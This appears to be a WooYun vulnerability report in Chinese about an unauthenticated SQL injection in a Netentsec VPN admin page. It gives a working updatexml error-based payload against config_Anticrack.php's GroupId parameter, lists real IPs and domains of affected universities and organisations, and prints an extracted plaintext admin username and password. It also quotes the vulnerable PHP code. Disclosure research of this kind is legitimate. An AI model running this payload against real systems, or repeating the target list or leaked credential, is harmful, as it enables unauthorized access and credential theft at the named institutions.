WooYun.org

我也来发注入，无限制，不需登录，默认即可注入
直接出来管理员账号和密码，并且是明文。。。真是佩服网康，md5一下，你会怀孕么
剑总，疯狗叔叔，你们不会认为我发洞太多了吧？
初步稍微搜索统计下：
涉及以下单位及学校：
https://vpn.lib.tju.edu.cn
https:// 211.68.223.12
https://221.213.45.231
https://202.113.20.208
https://202.113.49.100/
https://122.226.150.69
https://gljy.cn
https://202.196.119.130
https://211.82.48.60/
直接开菊花....
https://333.xxx.xxx/admin/config_Anticrack.php?GroupId=222 and 1=(updatexml(1,concat(0x5e24,(select concat(0x3a,AdminName,0x3a,Passwd,0x3a) from Admin limit 0,1),0x5e24),1))—a
查询组零缓存配置信息
XPATH syntax error: '^$:SuperAdmin:li211ssl5460:^$'(明文哦）
0x01:

<? include("../include/common.inc");
$dbh = db_connect();
switch ($action){
	case "":
		list_nocacheform(); //漏洞产生函数
		break;
	case "add":
		$gid = $GroupId;
           ......//省略若干代码

跟踪该函数list_nocacheform()

function list_nocacheform()
{
	global $GroupId;
	$dbh = db_connect();
	$query = db_query($dbh,"SELECT LoginTimes,Timeout FROM ISCGroupAnticrack WHERE GroupId=$GroupId","查询组零缓存配置信息");//直接报错注入即可。
	$Anticrackinfo = db_fetch_row($query);
	$action = $Anticrackinfo?'update':'add';
	list($LoginTimes,$Timeout) = $Anticrackinfo;
	list($GroupName) = db_fetch_row(db_query($dbh,"SELECT GroupName FROM ISCGroupTable WHERE GroupId=$GroupId","查询用户组信息"));

只要admin/config_Anticrack.php?GroupId=222 and 1=(updatexml(1,concat(0x5e24,(select concat(0x3a,AdminName,0x3a,Passwd,0x3a) from Admin limit 0,1),0x5e24),1))—a 一下。。然后明文的账号和密码就出来了。。。
真是替网康捏一把汗啊。。。